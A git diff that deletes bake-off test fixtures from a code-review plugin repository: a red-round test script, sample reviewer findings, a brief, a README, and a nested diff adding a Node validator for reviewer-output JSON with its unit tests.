OTHER_A=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5a-red.sh")
|
||||
if [ -z "$OTHER_A" ]; then
|
||||
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5a-red.sh" >&2
|
||||
exit 2
|
||||
fi
|
||||
OTHER_B=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-red.sh")
|
||||
if [ -z "$OTHER_B" ]; then
|
||||
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-red.sh" >&2
|
||||
exit 2
|
||||
fi
|
||||
OTHER_C=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-part-2-red.sh")
|
||||
if [ -z "$OTHER_C" ]; then
|
||||
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-part-2-red.sh" >&2
|
||||
exit 2
|
||||
fi
|
||||
OTHER_D=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-part-3-red.sh")
|
||||
if [ -z "$OTHER_D" ]; then
|
||||
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-part-3-red.sh" >&2
|
||||
exit 2
|
||||
fi
|
||||
OTHER_E=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-part-4-red.sh")
|
||||
if [ -z "$OTHER_E" ]; then
|
||||
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-part-4-red.sh" >&2
|
||||
exit 2
|
||||
fi
|
||||
OTHER_F=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b2-a-red.sh")
|
||||
if [ -z "$OTHER_F" ]; then
|
||||
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b2-a-red.sh" >&2
|
||||
exit 2
|
||||
fi
|
||||
OTHER_G=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b2-b-red.sh")
|
||||
if [ -z "$OTHER_G" ]; then
|
||||
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b2-b-red.sh" >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
exec /bin/bash "$ROOT/tests/helpers/red-round.sh" --base "$BASE" --ids "$IDS" --other-ids "$OTHER_A $OTHER_B $OTHER_C $OTHER_D $OTHER_E $OTHER_F $OTHER_G" --mutations "$ROOT/tests/fix-round-4-5b2-c-mutations.mjs" $FILES
|
||||
|
|
@ -1,17 +0,0 @@
|
|||
[
|
||||
{
|
||||
"reviewer": "brief-conformance-reviewer",
|
||||
"findings": [
|
||||
{ "severity": "BLOCKER", "rule_key": "UNIMPLEMENTED_CRITERION", "file": "lib/handlers/login.mjs", "line": 17 },
|
||||
{ "severity": "MAJOR", "rule_key": "PLAN_EXECUTE_DRIFT", "file": "lib/handlers/login.mjs", "line": 13 }
|
||||
]
|
||||
},
|
||||
{
|
||||
"reviewer": "code-correctness-reviewer",
|
||||
"findings": [
|
||||
{ "severity": "BLOCKER", "rule_key": "SECURITY_INJECTION", "file": "lib/auth/jwt.mjs", "line": 19 },
|
||||
{ "severity": "MAJOR", "rule_key": "MISSING_TEST", "file": "lib/auth/refresh.mjs", "line": 0 },
|
||||
{ "severity": "MINOR", "rule_key": "MISSING_ERROR_HANDLING", "file": "lib/auth/refresh.mjs", "line": 10 }
|
||||
]
|
||||
}
|
||||
]
|
||||
50
tests/fixtures/bakeoff/README.md
vendored
50
tests/fixtures/bakeoff/README.md
vendored
|
|
@ -1,50 +0,0 @@
|
|||
# NW2 bake-off fixture (S10)
|
||||
|
||||
Fixed, committable input for the prose-vs-Workflow `/trekreview` bake-off
|
||||
(T2 §5). Both arms review **the same delivered diff against the same brief**, so
|
||||
any difference in `review.md` is attributable to the orchestration substrate
|
||||
(prose Arm A vs Workflow Arm B), not to the input.
|
||||
|
||||
## What's here
|
||||
|
||||
- `brief.md` — the contract. Reconstructed faithfully from the **real** NW1
|
||||
contract (`docs/W1-narrow-wins-plan.md §S9`): goal, SC1–SC4, NG1–NG3,
|
||||
constraints, NFRs.
|
||||
- `delivered.diff` — the **real** delivered diff of commit `b149538`
|
||||
(`git diff b149538^ b149538`): the NW1 implementation
|
||||
(`lib/review/findings-schema.mjs` + tests + `commands/trekreview.md` Phase 5).
|
||||
3 files, +438/-3.
|
||||
|
||||
## Why this commit
|
||||
|
||||
`b149538` (NW1/S9) is a genuine delivered-diff + brief pair already in this
|
||||
repo's history — real code, real contract, fully self-contained (no external
|
||||
deps), and small/cheap (ideal for the de-risking smoke run). It is not
|
||||
finding-free (a strict correctness reviewer has surface to flag), so the
|
||||
fidelity comparison is informative. A larger commit can be substituted for the
|
||||
full ≥3-runs/arm measurement if more finding surface is wanted.
|
||||
|
||||
## Triage map (deterministic, pinned)
|
||||
|
||||
Per the Phase-4 path-pattern classifier, none of the 3 files match `skip` or
|
||||
`deep-review` patterns → all `summary-only`:
|
||||
|
||||
```
|
||||
commands/trekreview.md → summary-only
|
||||
lib/review/findings-schema.mjs → summary-only
|
||||
tests/lib/findings-schema.test.mjs → summary-only
|
||||
```
|
||||
|
||||
## How it's consumed
|
||||
|
||||
The bake-off pins Phases 1–4 (brief + diff + triage above) and passes them to
|
||||
both arms:
|
||||
|
||||
- **Arm A (prose):** current `/trekreview` Phase 5–6 behaviour.
|
||||
- **Arm B (Workflow):** `scripts/trekreview-armB.workflow.mjs` via the Workflow
|
||||
tool, `args = { brief, diff, triage }`.
|
||||
|
||||
Each arm yields a structured `{verdict, findings}`; the PRIMARY metric is
|
||||
`fidelityDiffStructured` (`lib/review/fidelity-diff.mjs`) — same verdict +
|
||||
equivalent finding set (IDs / severities / rule_keys).
|
||||
```
|
||||
78
tests/fixtures/bakeoff/brief.md
vendored
78
tests/fixtures/bakeoff/brief.md
vendored
|
|
@ -1,78 +0,0 @@
|
|||
---
|
||||
type: trekbrief
|
||||
brief_version: "2.1"
|
||||
slug: nw1-reviewer-output-schema
|
||||
task: Codify the /trekreview Phase 5 reviewer-output JSON as a validated schema contract
|
||||
research_topics: 0
|
||||
research_status: complete
|
||||
brief_quality: ready
|
||||
created: 2026-06-18
|
||||
---
|
||||
|
||||
# NW1 — reviewer-output schema contract
|
||||
|
||||
## Intent
|
||||
|
||||
`/trekreview` Phase 5 launches two reviewer agents (`brief-conformance-reviewer`,
|
||||
`code-correctness-reviewer`) that each emit a trailing fenced `json` block of
|
||||
findings. The main context used to "collect the last fenced json block and
|
||||
`JSON.parse()` it; on parse error, ask the agent to re-emit" — a fragile
|
||||
contract (`trekreview.md:202–204`) that catches *parse* failure but not
|
||||
*schema* failure: a reviewer can emit valid JSON with a missing `rule_key`, a
|
||||
bad `severity`, or a non-numeric `line`, and it flows unchecked into the
|
||||
coordinator's dedup-by-`(file,line,rule_key)` triplet.
|
||||
|
||||
## Goal
|
||||
|
||||
Codify the reviewer-output JSON as a validated schema. Main validates each
|
||||
reviewer's output against the schema (not merely parses it) and re-asks on
|
||||
schema failure as well as parse failure, with bounded retries. The load-bearing
|
||||
fields the downstream dedup triplet + verdict depend on — `file`, `rule_key`,
|
||||
`severity`, `line` — are hard errors; descriptive fields and unknown keys are
|
||||
tolerated (forward-compatible). No Workflow dependency — the substrate stays
|
||||
prose (this is the ungated, ship-regardless win).
|
||||
|
||||
## Success Criteria
|
||||
|
||||
- **SC1** — A findings-schema validator accepts a well-formed findings array and
|
||||
rejects each malformation (missing `rule_key`, unknown `rule_key`, bad
|
||||
`severity` enum, non-numeric `line`, missing `file`) with a stable error code.
|
||||
- **SC2** — `lib/review/findings-schema.mjs` implements the schema + validator,
|
||||
reusing the `lib/util/result.mjs` issue/result shape and the
|
||||
`lib/review/rule-catalogue.mjs` `RULE_KEYS` / `SEVERITY_VALUES`.
|
||||
- **SC3** — `commands/trekreview.md` Phase 5 prose replaces the
|
||||
`JSON.parse`-only contract with "validate each reviewer's JSON against the
|
||||
findings schema; on schema failure re-ask for conforming JSON (bounded
|
||||
retries N=2); never feed unvalidated findings to the coordinator."
|
||||
- **SC4** — `node --test tests/lib/findings-schema.test.mjs` is green; the full
|
||||
`node --test` suite still passes; `claude plugin validate` is clean (modulo the
|
||||
pre-existing root-CLAUDE.md warning).
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- **NG1** — Do NOT introduce a Workflow-tool dependency. NW1 is the prose-only
|
||||
tier; the substrate stays prose.
|
||||
- **NG2** — Do NOT change the `review.md` output schema or
|
||||
`lib/validators/review-validator.mjs`. This is the *reviewer-output* contract
|
||||
(Phase 5 input), not the review.md artifact contract (Phase 7 output).
|
||||
- **NG3** — Do NOT touch NW2 (Workflow port) or NW3 (synthesis-agent) scope.
|
||||
|
||||
## Constraints
|
||||
|
||||
- Zero runtime dependencies — Node stdlib only (project invariant).
|
||||
- 3-layer module pattern (Content → Raw-text → CLI shim) mirroring the other
|
||||
`lib/` validators.
|
||||
- TDD (Iron Law): failing tests first, then minimal code to pass.
|
||||
|
||||
## Assumptions
|
||||
|
||||
- Reviewers continue to emit the documented JSON shape (`{reviewer, findings:[…]}`)
|
||||
with the per-finding fields shown in the agent specs.
|
||||
- The 12-key rule catalogue and 4-tier severity enum are the contract surface
|
||||
for `rule_key` / `severity` validation.
|
||||
|
||||
## NFRs
|
||||
|
||||
- The schema validator adds no measurable latency to Phase 5 (pure in-process
|
||||
validation).
|
||||
- Error codes are stable strings so a bounded re-ask can quote them.
|
||||
464
tests/fixtures/bakeoff/delivered.diff
vendored
464
tests/fixtures/bakeoff/delivered.diff
vendored
|
|
@ -1,464 +0,0 @@
|
|||
diff --git a/commands/trekreview.md b/commands/trekreview.md
|
||||
index 4fd24b3..288072d 100644
|
||||
--- a/commands/trekreview.md
|
||||
+++ b/commands/trekreview.md
|
||||
@@ -199,9 +199,25 @@ Each reviewer prompt includes:
|
||||
- **Brief path** — `{brief_path}` (read on demand; do not inline).
|
||||
- **Rule catalogue** — reference to `lib/review/rule-catalogue.mjs`.
|
||||
|
||||
-Collect each reviewer's trailing JSON block (last fenced `json` block in
|
||||
-their output). Parse with `JSON.parse()`. On parse error, ask the agent
|
||||
-to re-emit the JSON only.
|
||||
+Collect each reviewer's trailing JSON block and **validate it against the
|
||||
+reviewer-output schema** rather than merely parsing it. Run:
|
||||
+
|
||||
+```bash
|
||||
+node ${CLAUDE_PLUGIN_ROOT}/lib/review/findings-schema.mjs --json <reviewer-output-file>
|
||||
+```
|
||||
+
|
||||
+`validateReviewerOutput` in `lib/review/findings-schema.mjs` extracts the
|
||||
+last fenced `json` block, parses it, and schema-checks every finding
|
||||
+(load-bearing fields: `file`, `rule_key` ∈ catalogue, `severity` ∈ enum,
|
||||
+`line` integer ≥ 0). Parse failure and schema failure surface through the
|
||||
+same stable error codes (`FINDINGS_NO_JSON_BLOCK`, `FINDINGS_PARSE_ERROR`,
|
||||
+`FINDING_*`).
|
||||
+
|
||||
+On any failure, re-ask **that reviewer** to re-emit a conforming JSON
|
||||
+block only — quote the reported error codes/locations so the fix is
|
||||
+targeted. **Bounded retries: N=2.** If the output still fails after 2
|
||||
+re-asks, stop and report which reviewer produced non-conforming output;
|
||||
+do not feed unvalidated findings to the coordinator.
|
||||
|
||||
In `quick` mode, launch only `code-correctness-reviewer`. The Executive
|
||||
Summary will note the brief-conformance pass was skipped.
|
||||
diff --git a/lib/review/findings-schema.mjs b/lib/review/findings-schema.mjs
|
||||
new file mode 100644
|
||||
index 0000000..fb09c72
|
||||
--- /dev/null
|
||||
+++ b/lib/review/findings-schema.mjs
|
||||
@@ -0,0 +1,175 @@
|
||||
+// lib/review/findings-schema.mjs
|
||||
+// Reviewer-output JSON schema contract for /trekreview Phase 5 (NW1).
|
||||
+//
|
||||
+// brief-conformance-reviewer and code-correctness-reviewer each emit a trailing
|
||||
+// fenced `json` block of shape:
|
||||
+//
|
||||
+// { "reviewer": "<name>", "findings": [ { id, severity, rule_key, file, line,
|
||||
+// brief_ref, title, detail,
|
||||
+// recommended_action }, ... ] }
|
||||
+//
|
||||
+// This module codifies that contract so main can VALIDATE each reviewer's JSON
|
||||
+// (not merely JSON.parse it) and re-ask on *schema* failure as well as parse
|
||||
+// failure, replacing the fragile "parse the last json block" contract that used
|
||||
+// to live in commands/trekreview.md (the :202–204 prose).
|
||||
+//
|
||||
+// Load-bearing fields (the downstream dedup triplet + verdict severity) are hard
|
||||
+// errors: file, rule_key, severity, line. Unknown rule_keys are errors too — the
|
||||
+// catalogue is the contract. Descriptive fields (title/detail/recommended_action/
|
||||
+// brief_ref) and unknown top-level keys are tolerated (forward-compat, mirroring
|
||||
+// review-validator.mjs).
|
||||
+//
|
||||
+// 3-layer pattern (Content → Raw-text → CLI shim) mirroring the other validators.
|
||||
+
|
||||
+import { readFileSync, existsSync } from 'node:fs';
|
||||
+import { issue, fail } from '../util/result.mjs';
|
||||
+import { RULE_KEYS, SEVERITY_VALUES } from './rule-catalogue.mjs';
|
||||
+
|
||||
+// The fields main + the coordinator depend on. Descriptive fields are not here
|
||||
+// on purpose: a missing recommended_action should not trigger a re-ask.
|
||||
+export const FINDING_REQUIRED_FIELDS = Object.freeze([
|
||||
+ 'severity',
|
||||
+ 'rule_key',
|
||||
+ 'file',
|
||||
+ 'line',
|
||||
+]);
|
||||
+
|
||||
+// Last fenced ```json … ``` block in a reviewer's output. The contract pins the
|
||||
+// JSON block as the LAST fence so prose above it never confuses the parser.
|
||||
+const JSON_FENCE_GLOBAL = /```json[ \t]*\r?\n([\s\S]*?)```/gi;
|
||||
+
|
||||
+/**
|
||||
+ * Extract the inner body of the LAST fenced `json` block in `text`.
|
||||
+ * @param {string} text
|
||||
+ * @returns {string|null} the JSON source, or null if no json fence is present.
|
||||
+ */
|
||||
+export function extractFindingsBlock(text) {
|
||||
+ if (typeof text !== 'string') return null;
|
||||
+ JSON_FENCE_GLOBAL.lastIndex = 0;
|
||||
+ let last = null;
|
||||
+ let m;
|
||||
+ while ((m = JSON_FENCE_GLOBAL.exec(text)) !== null) {
|
||||
+ last = m[1];
|
||||
+ }
|
||||
+ return last;
|
||||
+}
|
||||
+
|
||||
+function validateFinding(finding, index, errors) {
|
||||
+ const loc = `findings[${index}]`;
|
||||
+ if (finding === null || typeof finding !== 'object' || Array.isArray(finding)) {
|
||||
+ errors.push(issue('FINDING_NOT_OBJECT', `${loc} is not an object`, undefined, loc));
|
||||
+ return;
|
||||
+ }
|
||||
+
|
||||
+ if (typeof finding.file !== 'string' || finding.file.length === 0) {
|
||||
+ errors.push(issue('FINDING_MISSING_FILE', `${loc}.file must be a non-empty string`, undefined, loc));
|
||||
+ }
|
||||
+
|
||||
+ if (typeof finding.rule_key !== 'string' || finding.rule_key.length === 0) {
|
||||
+ errors.push(issue('FINDING_MISSING_RULE_KEY', `${loc}.rule_key must be a non-empty string`, undefined, loc));
|
||||
+ } else if (!RULE_KEYS.has(finding.rule_key)) {
|
||||
+ errors.push(issue(
|
||||
+ 'FINDING_UNKNOWN_RULE_KEY',
|
||||
+ `${loc}.rule_key "${finding.rule_key}" is not in the rule catalogue`,
|
||||
+ 'Use a rule_key from lib/review/rule-catalogue.mjs',
|
||||
+ loc,
|
||||
+ ));
|
||||
+ }
|
||||
+
|
||||
+ if (typeof finding.severity !== 'string' || !SEVERITY_VALUES.includes(finding.severity)) {
|
||||
+ errors.push(issue(
|
||||
+ 'FINDING_BAD_SEVERITY',
|
||||
+ `${loc}.severity must be one of ${SEVERITY_VALUES.join('|')}, got ${JSON.stringify(finding.severity)}`,
|
||||
+ undefined,
|
||||
+ loc,
|
||||
+ ));
|
||||
+ }
|
||||
+
|
||||
+ if (typeof finding.line !== 'number' || !Number.isInteger(finding.line) || finding.line < 0) {
|
||||
+ errors.push(issue(
|
||||
+ 'FINDING_BAD_LINE',
|
||||
+ `${loc}.line must be an integer ≥ 0, got ${JSON.stringify(finding.line)}`,
|
||||
+ 'Use 0 for file-scoped findings without a specific line.',
|
||||
+ loc,
|
||||
+ ));
|
||||
+ }
|
||||
+}
|
||||
+
|
||||
+/**
|
||||
+ * Validate an already-parsed reviewer-output payload against the schema.
|
||||
+ * Accumulates every error (so a re-ask can name all problems at once).
|
||||
+ * @param {unknown} payload
|
||||
+ * @returns {import('../util/result.mjs').Result}
|
||||
+ */
|
||||
+export function validateFindings(payload) {
|
||||
+ if (payload === null || typeof payload !== 'object' || Array.isArray(payload)) {
|
||||
+ return fail(issue('FINDINGS_NOT_OBJECT', `Reviewer output must be a JSON object, got ${Array.isArray(payload) ? 'array' : typeof payload}`));
|
||||
+ }
|
||||
+
|
||||
+ const errors = [];
|
||||
+ const warnings = [];
|
||||
+
|
||||
+ if (typeof payload.reviewer !== 'string' || payload.reviewer.length === 0) {
|
||||
+ warnings.push(issue('FINDINGS_MISSING_REVIEWER', 'Reviewer output should carry a non-empty "reviewer" name'));
|
||||
+ }
|
||||
+
|
||||
+ if (!Array.isArray(payload.findings)) {
|
||||
+ errors.push(issue('FINDINGS_NOT_ARRAY', `Field "findings" must be an array, got ${typeof payload.findings}`));
|
||||
+ return { valid: false, errors, warnings, parsed: payload };
|
||||
+ }
|
||||
+
|
||||
+ for (let i = 0; i < payload.findings.length; i++) {
|
||||
+ validateFinding(payload.findings[i], i, errors);
|
||||
+ }
|
||||
+
|
||||
+ return { valid: errors.length === 0, errors, warnings, parsed: payload };
|
||||
+}
|
||||
+
|
||||
+/**
|
||||
+ * Validate a reviewer's raw output text: extract the last json fence, parse it,
|
||||
+ * then schema-validate. Parse-stage failures get stable codes so they flow
|
||||
+ * through the same bounded re-ask path as schema failures.
|
||||
+ * @param {string} rawText
|
||||
+ * @returns {import('../util/result.mjs').Result}
|
||||
+ */
|
||||
+export function validateReviewerOutput(rawText) {
|
||||
+ const block = extractFindingsBlock(rawText);
|
||||
+ if (block === null) {
|
||||
+ return fail(issue(
|
||||
+ 'FINDINGS_NO_JSON_BLOCK',
|
||||
+ 'No trailing fenced ```json block found in reviewer output',
|
||||
+ 'Reviewers must end their output with a single ```json findings block.',
|
||||
+ ));
|
||||
+ }
|
||||
+ let parsed;
|
||||
+ try {
|
||||
+ parsed = JSON.parse(block);
|
||||
+ } catch (e) {
|
||||
+ return fail(issue('FINDINGS_PARSE_ERROR', `Reviewer JSON block did not parse: ${e.message}`));
|
||||
+ }
|
||||
+ return validateFindings(parsed);
|
||||
+}
|
||||
+
|
||||
+// ---- CLI shim ----------------------------------------------------------------
|
||||
+
|
||||
+if (import.meta.url === `file://${process.argv[1]}`) {
|
||||
+ const args = process.argv.slice(2);
|
||||
+ const filePath = args.find((a) => !a.startsWith('--'));
|
||||
+ if (!filePath) {
|
||||
+ process.stderr.write('Usage: findings-schema.mjs [--json] <reviewer-output.txt|.md>\n');
|
||||
+ process.exit(2);
|
||||
+ }
|
||||
+ if (!existsSync(filePath)) {
|
||||
+ process.stderr.write(`findings-schema: file not found: ${filePath}\n`);
|
||||
+ process.exit(2);
|
||||
+ }
|
||||
+ const r = validateReviewerOutput(readFileSync(filePath, 'utf-8'));
|
||||
+ if (args.includes('--json')) {
|
||||
+ process.stdout.write(JSON.stringify({ valid: r.valid, errors: r.errors, warnings: r.warnings }, null, 2) + '\n');
|
||||
+ } else {
|
||||
+ process.stdout.write(`findings-schema: ${r.valid ? 'PASS' : 'FAIL'} ${filePath}\n`);
|
||||
+ for (const e of r.errors) process.stderr.write(` ERROR [${e.code}] ${e.message}\n`);
|
||||
+ for (const w of r.warnings) process.stderr.write(` WARN [${w.code}] ${w.message}\n`);
|
||||
+ }
|
||||
+ process.exit(r.valid ? 0 : 1);
|
||||
+}
|
||||
diff --git a/tests/lib/findings-schema.test.mjs b/tests/lib/findings-schema.test.mjs
|
||||
new file mode 100644
|
||||
index 0000000..e94a7c6
|
||||
--- /dev/null
|
||||
+++ b/tests/lib/findings-schema.test.mjs
|
||||
@@ -0,0 +1,244 @@
|
||||
+import { test } from 'node:test';
|
||||
+import { strict as assert } from 'node:assert';
|
||||
+import {
|
||||
+ validateFindings,
|
||||
+ extractFindingsBlock,
|
||||
+ validateReviewerOutput,
|
||||
+ FINDING_REQUIRED_FIELDS,
|
||||
+} from '../../lib/review/findings-schema.mjs';
|
||||
+
|
||||
+// ---- helpers ----------------------------------------------------------------
|
||||
+
|
||||
+function validFinding(over = {}) {
|
||||
+ return {
|
||||
+ id: '0123456789abcdef0123456789abcdef01234567',
|
||||
+ severity: 'BLOCKER',
|
||||
+ rule_key: 'UNIMPLEMENTED_CRITERION',
|
||||
+ file: 'lib/foo.mjs',
|
||||
+ line: 0,
|
||||
+ brief_ref: 'SC2 — exact quoted criterion text',
|
||||
+ title: 'Short imperative title',
|
||||
+ detail: 'Multi-sentence explanation citing concrete diff evidence',
|
||||
+ recommended_action: 'Imperative, single-step recommendation',
|
||||
+ ...over,
|
||||
+ };
|
||||
+}
|
||||
+
|
||||
+function validPayload(findings = [validFinding()]) {
|
||||
+ return { reviewer: 'brief-conformance-reviewer', findings };
|
||||
+}
|
||||
+
|
||||
+function codes(result) {
|
||||
+ return result.errors.map((e) => e.code);
|
||||
+}
|
||||
+
|
||||
+// ---- exports ----------------------------------------------------------------
|
||||
+
|
||||
+test('module exports the validator surface', () => {
|
||||
+ assert.equal(typeof validateFindings, 'function');
|
||||
+ assert.equal(typeof extractFindingsBlock, 'function');
|
||||
+ assert.equal(typeof validateReviewerOutput, 'function');
|
||||
+ assert.ok(Array.isArray(FINDING_REQUIRED_FIELDS));
|
||||
+ for (const f of ['severity', 'rule_key', 'file', 'line']) {
|
||||
+ assert.ok(FINDING_REQUIRED_FIELDS.includes(f), `${f} should be a required field`);
|
||||
+ }
|
||||
+});
|
||||
+
|
||||
+// ---- validateFindings: happy path ------------------------------------------
|
||||
+
|
||||
+test('validateFindings — accepts a well-formed findings array', () => {
|
||||
+ const r = validateFindings(validPayload());
|
||||
+ assert.equal(r.valid, true, JSON.stringify(r.errors));
|
||||
+ assert.deepEqual(r.errors, []);
|
||||
+});
|
||||
+
|
||||
+test('validateFindings — accepts both reviewer example shapes', () => {
|
||||
+ const conformance = validateFindings(validPayload([validFinding()]));
|
||||
+ const correctness = validateFindings({
|
||||
+ reviewer: 'code-correctness-reviewer',
|
||||
+ findings: [validFinding({ rule_key: 'SECURITY_INJECTION', file: 'lib/exec.mjs', line: 23 })],
|
||||
+ });
|
||||
+ assert.equal(conformance.valid, true);
|
||||
+ assert.equal(correctness.valid, true);
|
||||
+});
|
||||
+
|
||||
+test('validateFindings — accepts an empty findings array', () => {
|
||||
+ const r = validateFindings(validPayload([]));
|
||||
+ assert.equal(r.valid, true);
|
||||
+});
|
||||
+
|
||||
+test('validateFindings — accepts line: 0 (file-scoped finding)', () => {
|
||||
+ const r = validateFindings(validPayload([validFinding({ line: 0 })]));
|
||||
+ assert.equal(r.valid, true);
|
||||
+});
|
||||
+
|
||||
+test('validateFindings — tolerates unknown top-level keys (forward-compat)', () => {
|
||||
+ const payload = { ...validPayload(), future_field: 'whatever' };
|
||||
+ const r = validateFindings(payload);
|
||||
+ assert.equal(r.valid, true);
|
||||
+});
|
||||
+
|
||||
+// ---- validateFindings: the four named malformations ------------------------
|
||||
+
|
||||
+test('validateFindings — rejects missing rule_key → FINDING_MISSING_RULE_KEY', () => {
|
||||
+ const f = validFinding();
|
||||
+ delete f.rule_key;
|
||||
+ const r = validateFindings(validPayload([f]));
|
||||
+ assert.equal(r.valid, false);
|
||||
+ assert.ok(codes(r).includes('FINDING_MISSING_RULE_KEY'), codes(r).join(','));
|
||||
+});
|
||||
+
|
||||
+test('validateFindings — rejects unknown rule_key → FINDING_UNKNOWN_RULE_KEY', () => {
|
||||
+ const r = validateFindings(validPayload([validFinding({ rule_key: 'NOT_A_REAL_RULE' })]));
|
||||
+ assert.equal(r.valid, false);
|
||||
+ assert.ok(codes(r).includes('FINDING_UNKNOWN_RULE_KEY'), codes(r).join(','));
|
||||
+});
|
||||
+
|
||||
+test('validateFindings — rejects bad severity enum → FINDING_BAD_SEVERITY', () => {
|
||||
+ const r = validateFindings(validPayload([validFinding({ severity: 'CRITICAL' })]));
|
||||
+ assert.equal(r.valid, false);
|
||||
+ assert.ok(codes(r).includes('FINDING_BAD_SEVERITY'), codes(r).join(','));
|
||||
+});
|
||||
+
|
||||
+test('validateFindings — rejects missing severity → FINDING_BAD_SEVERITY', () => {
|
||||
+ const f = validFinding();
|
||||
+ delete f.severity;
|
||||
+ const r = validateFindings(validPayload([f]));
|
||||
+ assert.equal(r.valid, false);
|
||||
+ assert.ok(codes(r).includes('FINDING_BAD_SEVERITY'));
|
||||
+});
|
||||
+
|
||||
+test('validateFindings — rejects non-numeric line → FINDING_BAD_LINE', () => {
|
||||
+ const r = validateFindings(validPayload([validFinding({ line: '23' })]));
|
||||
+ assert.equal(r.valid, false);
|
||||
+ assert.ok(codes(r).includes('FINDING_BAD_LINE'), codes(r).join(','));
|
||||
+});
|
||||
+
|
||||
+test('validateFindings — rejects non-integer line → FINDING_BAD_LINE', () => {
|
||||
+ const r = validateFindings(validPayload([validFinding({ line: 23.5 })]));
|
||||
+ assert.equal(r.valid, false);
|
||||
+ assert.ok(codes(r).includes('FINDING_BAD_LINE'));
|
||||
+});
|
||||
+
|
||||
+test('validateFindings — rejects negative line → FINDING_BAD_LINE', () => {
|
||||
+ const r = validateFindings(validPayload([validFinding({ line: -1 })]));
|
||||
+ assert.equal(r.valid, false);
|
||||
+ assert.ok(codes(r).includes('FINDING_BAD_LINE'));
|
||||
+});
|
||||
+
|
||||
+test('validateFindings — rejects missing file → FINDING_MISSING_FILE', () => {
|
||||
+ const f = validFinding();
|
||||
+ delete f.file;
|
||||
+ const r = validateFindings(validPayload([f]));
|
||||
+ assert.equal(r.valid, false);
|
||||
+ assert.ok(codes(r).includes('FINDING_MISSING_FILE'), codes(r).join(','));
|
||||
+});
|
||||
+
|
||||
+test('validateFindings — rejects empty-string file → FINDING_MISSING_FILE', () => {
|
||||
+ const r = validateFindings(validPayload([validFinding({ file: '' })]));
|
||||
+ assert.equal(r.valid, false);
|
||||
+ assert.ok(codes(r).includes('FINDING_MISSING_FILE'));
|
||||
+});
|
||||
+
|
||||
+// ---- validateFindings: top-level shape -------------------------------------
|
||||
+
|
||||
+test('validateFindings — rejects non-object payload → FINDINGS_NOT_OBJECT', () => {
|
||||
+ for (const bad of [null, undefined, 42, 'x', []]) {
|
||||
+ const r = validateFindings(bad);
|
||||
+ assert.equal(r.valid, false);
|
||||
+ assert.ok(codes(r).includes('FINDINGS_NOT_OBJECT'), `${JSON.stringify(bad)} → ${codes(r)}`);
|
||||
+ }
|
||||
+});
|
||||
+
|
||||
+test('validateFindings — rejects missing/non-array findings → FINDINGS_NOT_ARRAY', () => {
|
||||
+ assert.ok(codes(validateFindings({ reviewer: 'x' })).includes('FINDINGS_NOT_ARRAY'));
|
||||
+ assert.ok(codes(validateFindings({ reviewer: 'x', findings: {} })).includes('FINDINGS_NOT_ARRAY'));
|
||||
+});
|
||||
+
|
||||
+test('validateFindings — rejects non-object finding element → FINDING_NOT_OBJECT', () => {
|
||||
+ const r = validateFindings(validPayload(['not-an-object']));
|
||||
+ assert.equal(r.valid, false);
|
||||
+ assert.ok(codes(r).includes('FINDING_NOT_OBJECT'));
|
||||
+});
|
||||
+
|
||||
+test('validateFindings — missing reviewer is a non-blocking warning', () => {
|
||||
+ const r = validateFindings({ findings: [] });
|
||||
+ assert.equal(r.valid, true);
|
||||
+ assert.ok(r.warnings.some((w) => w.code === 'FINDINGS_MISSING_REVIEWER'));
|
||||
+});
|
||||
+
|
||||
+// ---- validateFindings: error shape + accumulation --------------------------
|
||||
+
|
||||
+test('validateFindings — every error has stable {code, message} + per-finding location', () => {
|
||||
+ const r = validateFindings(validPayload([validFinding({ file: '', severity: 'NOPE' })]));
|
||||
+ assert.equal(r.valid, false);
|
||||
+ for (const e of r.errors) {
|
||||
+ assert.ok(typeof e.code === 'string' && e.code.length > 0);
|
||||
+ assert.ok(typeof e.message === 'string' && e.message.length > 0);
|
||||
+ assert.ok(typeof e.location === 'string' && e.location.includes('findings[0]'));
|
||||
+ }
|
||||
+});
|
||||
+
|
||||
+test('validateFindings — accumulates errors across multiple bad findings', () => {
|
||||
+ const r = validateFindings(validPayload([
|
||||
+ validFinding({ rule_key: undefined }),
|
||||
+ validFinding({ line: 'x' }),
|
||||
+ ]));
|
||||
+ assert.equal(r.valid, false);
|
||||
+ assert.ok(r.errors.some((e) => e.code === 'FINDING_MISSING_RULE_KEY' && e.location.includes('[0]')));
|
||||
+ assert.ok(r.errors.some((e) => e.code === 'FINDING_BAD_LINE' && e.location.includes('[1]')));
|
||||
+});
|
||||
+
|
||||
+// ---- extractFindingsBlock ---------------------------------------------------
|
||||
+
|
||||
+test('extractFindingsBlock — extracts the LAST json fence', () => {
|
||||
+ const text = [
|
||||
+ '## Prose',
|
||||
+ '```json',
|
||||
+ '{"reviewer":"early","findings":[]}',
|
||||
+ '```',
|
||||
+ 'more prose',
|
||||
+ '```json',
|
||||
+ '{"reviewer":"last","findings":[]}',
|
||||
+ '```',
|
||||
+ ].join('\n');
|
||||
+ const block = extractFindingsBlock(text);
|
||||
+ assert.ok(block.includes('"last"'));
|
||||
+ assert.ok(!block.includes('"early"'));
|
||||
+});
|
||||
+
|
||||
+test('extractFindingsBlock — returns null when no json fence present', () => {
|
||||
+ assert.equal(extractFindingsBlock('just prose, no fence'), null);
|
||||
+ assert.equal(extractFindingsBlock(''), null);
|
||||
+ assert.equal(extractFindingsBlock(123), null);
|
||||
+});
|
||||
+
|
||||
